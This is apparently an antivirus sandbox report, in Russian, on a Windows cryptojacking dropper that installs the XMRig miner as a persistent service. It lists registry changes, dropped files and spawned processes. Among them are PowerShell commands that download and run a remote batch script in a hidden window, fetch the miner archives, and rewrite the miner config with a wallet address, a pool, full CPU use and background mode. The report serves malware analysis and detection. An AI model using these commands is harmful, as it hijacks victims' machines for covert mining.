Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\moneroocean_miner] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\moneroocean_miner] 'ImagePath' = '%HOMEPATH%\kako\nssm.exe'
Создает следующие сервисы
- 'moneroocean_miner' %HOMEPATH%\kako\nssm.exe
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /f /t /im xmrig.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\tmpc114.tmp.bat
- nul
- %HOMEPATH%\xmrig.zip
- %HOMEPATH%\7za.exe
- %HOMEPATH%\kako\config.json
- %HOMEPATH%\kako\winring0x64.sys
- %HOMEPATH%\kako\xmrig.exe
- %HOMEPATH%\kako\config_background.json
- %HOMEPATH%\kako\miner.bat
- %HOMEPATH%\nssm.zip
- %HOMEPATH%\kako\nssm.exe
Удаляет следующие файлы
- %HOMEPATH%\7za.exe
- %HOMEPATH%\xmrig.zip
- %HOMEPATH%\nssm.zip
- %TEMP%\tmpc114.tmp.bat
Подменяет следующие файлы
- %HOMEPATH%\7za.exe
Сетевая активность
TCP
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ra#.####ubusercontent.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$out = cat '%HOMEPATH%\kako\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\user\\kako\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII '...
- '%HOMEPATH%\kako\nssm.exe' start moneroocean_miner
- '%HOMEPATH%\kako\nssm.exe' set moneroocean_miner AppStderr "%HOMEPATH%\kako\stderr"
- '%HOMEPATH%\kako\nssm.exe' set moneroocean_miner AppStdout "%HOMEPATH%\kako\stdout"
- '%HOMEPATH%\kako\nssm.exe' set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS
- '%HOMEPATH%\kako\nssm.exe' set moneroocean_miner AppDirectory "%HOMEPATH%\kako"
- '%HOMEPATH%\kako\nssm.exe' install moneroocean_miner "%HOMEPATH%\kako\xmrig.exe"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$out = cat '%HOMEPATH%\kako\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII '%HOMEPATH%\kako\...
- '%HOMEPATH%\kako\xmrig.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$out = cat '%HOMEPATH%\kako\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII '%HOMEPATH%\kako\config.j...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$out = cat '%HOMEPATH%\kako\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"wkkdvz\",'} | Out-String; $out | Out-File -Encoding ASCII '%HOMEPATH%\kako\config.json'"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$out = cat '%HOMEPATH%\kako\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"44sPTxPN7GHFgjAZaxrmUD2AMkbRuuHE3HEjep57geeVMhze4JisEjDa6QQbWa14modfS9gGYfq5xh9fnpKZoD9ZLpV...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$out = cat '%HOMEPATH%\kako\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10016 \",'} | Out-String; $out | Out-File -Encoding ASCII '%HOMEPATH%...
- '%HOMEPATH%\kako\xmrig.exe' --help
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$out = cat '%HOMEPATH%\kako\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII '%HOMEPATH%\kako\config.json'...
- '%HOMEPATH%\7za.exe' x -y -o"%HOMEPATH%\kako" "%HOMEPATH%\xmrig.zip"
- '%HOMEPATH%\kako\nssm.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/me2mo/test/master/ocea...' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/me2mo/test/master/ocea...
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get MaxClockSpeed /Format:List
- '%WINDIR%\syswow64\cmd.exe' /c wmic cpu get L2CacheSize /Format:List | findstr /r /v "^$"
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get L2CacheSize /Format:List
- '%WINDIR%\syswow64\cmd.exe' /c wmic cpu get L3CacheSize /Format:List | findstr /r /v "^$"
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get L3CacheSize /Format:List
- '%WINDIR%\syswow64\sc.exe' stop moneroocean_miner
- '%WINDIR%\syswow64\timeout.exe' 5
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', '%HOMEPATH%\nssm.zip')"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', '%HOMEPATH%\xmrig.zip')"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('%HOMEPATH%\xmrig.zip', '%HOMEPATH%\kako')"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/7za.exe', '%HOMEPATH%\7za.exe')"
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
- '%WINDIR%\syswow64\hostname.exe'
- '%WINDIR%\syswow64\cmd.exe' /c wmic cpu get MaxClockSpeed /Format:List | findstr /r /v "^$"
- '%WINDIR%\syswow64\sc.exe' delete moneroocean_miner
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get NumberOfLogicalProcessors /Format:List
- '%WINDIR%\syswow64\where.exe' findstr
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tmpC114.tmp.bat" 44sPTxPN7GHFgjAZaxrmUD2AMkbRuuHE3HEjep57geeVMhze4JisEjDa6QQbWa14modfS9gGYfq5xh9fnpKZoD9ZLpVFydA"
- '%WINDIR%\syswow64\net.exe' session
- '%WINDIR%\syswow64\net1.exe' session
- '%WINDIR%\syswow64\where.exe' wmic
- '%WINDIR%\syswow64\where.exe' powershell
- '%WINDIR%\syswow64\where.exe' find
- '%WINDIR%\syswow64\where.exe' tasklist
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get NumberOfCores /Format:List
- '%WINDIR%\syswow64\where.exe' sc
- '%WINDIR%\syswow64\cmd.exe' /c wmic cpu get SocketDesignation /Format:List | findstr /r /v "^$" | find /c /v ""
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get SocketDesignation /Format:List
- '%WINDIR%\syswow64\findstr.exe' /r /v "^$"
- '%WINDIR%\syswow64\find.exe' /c /v ""
- '%WINDIR%\syswow64\cmd.exe' /c wmic cpu get NumberOfCores /Format:List | findstr /r /v "^$"
- '%WINDIR%\syswow64\cmd.exe' /c wmic cpu get NumberOfLogicalProcessors /Format:List | findstr /r /v "^$"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('%HOMEPATH%\nssm.zip', '%HOMEPATH%\kako')"
